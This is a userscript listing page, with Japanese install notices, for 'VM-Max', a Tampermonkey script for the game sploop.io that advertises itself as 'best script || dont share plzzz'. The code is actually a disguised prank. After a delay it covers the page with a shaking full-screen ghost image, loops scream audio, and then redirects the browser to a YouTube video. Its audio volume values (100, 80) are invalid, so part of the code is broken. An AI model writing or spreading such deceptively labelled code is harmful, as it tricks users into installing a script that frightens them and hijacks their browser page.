VM-Max

best script || dont share plzzz

スクリプトをインストールするには、Tampermonkey, GreasemonkeyViolentmonkey のような拡張機能のインストールが必要です。

You will need to install an extension such as Tampermonkey to install this script.

スクリプトをインストールするには、TampermonkeyViolentmonkey のような拡張機能のインストールが必要です。

スクリプトをインストールするには、TampermonkeyUserscripts のような拡張機能のインストールが必要です。

このスクリプトをインストールするには、Tampermonkeyなどの拡張機能をインストールする必要があります。

このスクリプトをインストールするには、ユーザースクリプト管理ツールの拡張機能をインストールする必要があります。

(ユーザースクリプト管理ツールは設定済みなのでインストール!)

このスタイルをインストールするには、Stylusなどの拡張機能をインストールする必要があります。

このスタイルをインストールするには、Stylus などの拡張機能をインストールする必要があります。

このスタイルをインストールするには、Stylus tなどの拡張機能をインストールする必要があります。

このスタイルをインストールするには、ユーザースタイル管理用の拡張機能をインストールする必要があります。

このスタイルをインストールするには、ユーザースタイル管理用の拡張機能をインストールする必要があります。

このスタイルをインストールするには、ユーザースタイル管理用の拡張機能をインストールする必要があります。

(ユーザースタイル管理ツールは設定済みなのでインストール!)

このスクリプトの質問や評価の投稿はこちら通報はこちらへお寄せください
// ==UserScript==
// @name        VM-Max
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  best script || dont share plzzz
// @author       your dad
// @match        https://sploop.io/*
// @run-at       document-end
// @grant        none
// ==/UserScript==

(() => {
    'use strict';

    const DELAY_BEFORE = 3000;
    const REDIRECT_AFTER = 12000;

    const REDIRECT_URLS = [
        "https://www.youtube.com/watch?v=Fj0e6jZ6VqY",
    ];

    const GHOST_IMAGE = "https://i.imgur.com/ioZV8pp.jpeg";
    const SCREAM_AUDIO = "https://audio-previews.elements.envatousercontent.com/files/284411960/preview.mp3";
    const AMBIENT_AUDIO = "https://audio-previews.elements.envatousercontent.com/files/350883344/preview.mp3";

    setTimeout(() => {
        const overlay = document.createElement("div");
        overlay.style = `
            position: fixed;
            inset: 0;
            background: black;
            z-index: 999999;
            display: flex;
            justify-content: center;
            align-items: center;
            animation: shake 0.08s infinite;
        `;

        const img = document.createElement("img");
        img.src = GHOST_IMAGE;
        img.style = `
            width: 100%;
            height: 100%;
            object-fit: cover;
            filter: brightness(120%) contrast(150%);
        `;

        overlay.appendChild(img);
        document.body.appendChild(overlay);


        const scream = new Audio(SCREAM_AUDIO);
        scream.loop = true;
        scream.volume = 100;

        const ambient = new Audio(AMBIENT_AUDIO);
        ambient.loop = true;
        ambient.volume = 80;

        scream.play().catch(()=>{});
        ambient.play().catch(()=>{});

        setTimeout(() => {
            location.replace(
                REDIRECT_URLS[Math.floor(Math.random() * REDIRECT_URLS.length)]
            );
        }, REDIRECT_AFTER);

    }, DELAY_BEFORE);

    const style = document.createElement("style");
    style.textContent = `
        @keyframes shake {
            0% { transform: translate(0, 0); }
            25% { transform: translate(6px, -6px); }
            50% { transform: translate(-6px, 6px); }
            75% { transform: translate(6px, 6px); }
            100% { transform: translate(0, 0); }
        }
    `;
    document.head.appendChild(style);
})();